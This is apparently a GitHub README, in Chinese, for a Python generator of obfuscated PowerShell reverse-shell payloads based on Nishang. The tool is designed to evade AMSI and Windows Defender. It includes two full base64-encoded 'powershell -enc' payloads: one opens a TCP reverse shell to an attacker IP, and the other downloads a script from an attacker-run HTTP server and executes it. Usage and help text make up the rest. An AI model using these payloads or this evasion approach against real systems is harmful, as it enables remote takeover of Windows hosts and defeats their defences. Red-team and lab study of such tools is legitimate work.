gunzf0x/BypassAMSI_PSRevshell
GitHub: gunzf0x/BypassAMSI_PSRevshell
基于 Nishang 反向 Shell 的混淆 payload 生成器,用于绕过 AMSI 和 Windows Defender 获取 Windows 主机的远程访问。
Stars: 14 | Forks: 1
# BypassAMSI PowerShell Revshell
## "Revshell" 命令
基于原始的 [Nishang Reverse shell PS oneliner](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1) 生成一个经过混淆的 `PowerShell` 反向 Shell payload。
### 用法
```
python3 BypassAMSI_PSRevshell.py revshell -i -p
```
例如:
```
❯ python3 BypassAMSI_PSRevshell.py revshell -i 10.10.10.10 -p 4444
```
将生成 payload:
```
powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADAALgAxADAAJwAsADQANAA0ADQAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==
```
## "Server" 命令
此选项将创建一个 payload 文件,默认命名为 `revshell.ps1`(即将 `revshell` 命令生成的混淆 payload 写入文件),并通过临时 HTTP 服务器将其公开(默认端口为 `8000`,也可更改)。随后,脚本将生成一个编码后的 payload,该 payload 会向临时服务器请求文件,执行它并触发反向 Shell。
### 用法
```
python3 BypassAMSI_PSRevshell.py server -i -p
```
例如:
```
❯ python3 BypassAMSI_PSRevshell.py server -i 10.10.10.10 -p 4444 --server-port 9000
```
将生成 payload:
```
powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMAAuADEAMAA6ADkAMAAwADAALwByAGUAdgBzAGgAZQBsAGwALgBwAHMAMQAiACkA
```
在受害者机器上执行它将向公开的 HTTP 服务器发出请求并获取 payload 文件。
## 帮助信息
```
❯ python3 BypassAMSI_PSRevshell.py revshell -h
usage: python3 BypassAMSI_PSRevshell.py revshell [-h] -i ATTACKER_IP -p PORT [-v] [--keep-pwd] [--enc-b64] [--no-banner]
Generate an obfuscated PowerShell payload to avoid Windows Defender
options:
-h, --help show this help message and exit
-i ATTACKER_IP, --attacker-ip ATTACKER_IP
Attacker IP address.
-p PORT, --port PORT Port to get revshell.
-v, --verbose Display payloads used and generated, along with some extra info.
--keep-pwd Revshell obtained will show working directory/path. Keeping this might trigger AMSI/Defender.
--enc-b64 Encode in base64 the Attacker IP address and port provided to the payload.
--no-banner Do not print script banner.
Example: BypassAMSI_PSRevshell.py revshell -i 10.10.16.98 -p 4444
```
```
❯ python3 BypassAMSI_PSRevshell.py server -h
usage: python3 BypassAMSI_PSRevshell.py server [-h] -i ATTACKER_IP -p PORT [--server-port SERVER_PORT] [-o OUTFILE] [-v] [--keep-pwd] [--keep-file] [--enc-b64]
[--no-banner]
Generate an obfuscated PowerShell payload to avoid Windows Defender
options:
-h, --help show this help message and exit
-i ATTACKER_IP, --attacker-ip ATTACKER_IP
Attacker IP address serving temporal HTTP server.
-p PORT, --port PORT Listening port to get reverse shell.
--server-port SERVER_PORT
Port serving temporal HTTP server. Default: 8000.
-o OUTFILE, --outfile OUTFILE
Name of the temporal PowerShell file storing obfuscated payload. Default: revshell.ps1
-v, --verbose Display payloads used and generated, along with some extra info.
--keep-pwd Revshell obtained will show working directory/path. Keeping this might trigger AMSI/Defender.
--keep-file This script will create a file named as "--outfile" flag and then is deleted. Use this flag if you want to keep the generated file/payload.
--enc-b64 Encode in base64 the Attacker IP address and port provided to the payload.
--no-banner Do not print script banner.
Example: BypassAMSI_PSRevshell.py server -i 10.10.16.98
```
## 免责声明
使用本工具的风险由您自行承担。请遵守道德规范 (:
标签:AI合规, AMSI绕过, C2通信, DNS 反向解析, IPv6, Nishang, OpenCanary, Payload生成, PowerShell, Python, Windows Defender, 代码混淆, 反向Shell, 嗅探欺骗, 威胁检测, 安全测试, 恶意软件生成, 攻击性安全, 无后门, 权限维持, 横向移动, 编码执行, 编程规范, 网络安全, 远程控制, 隐私保护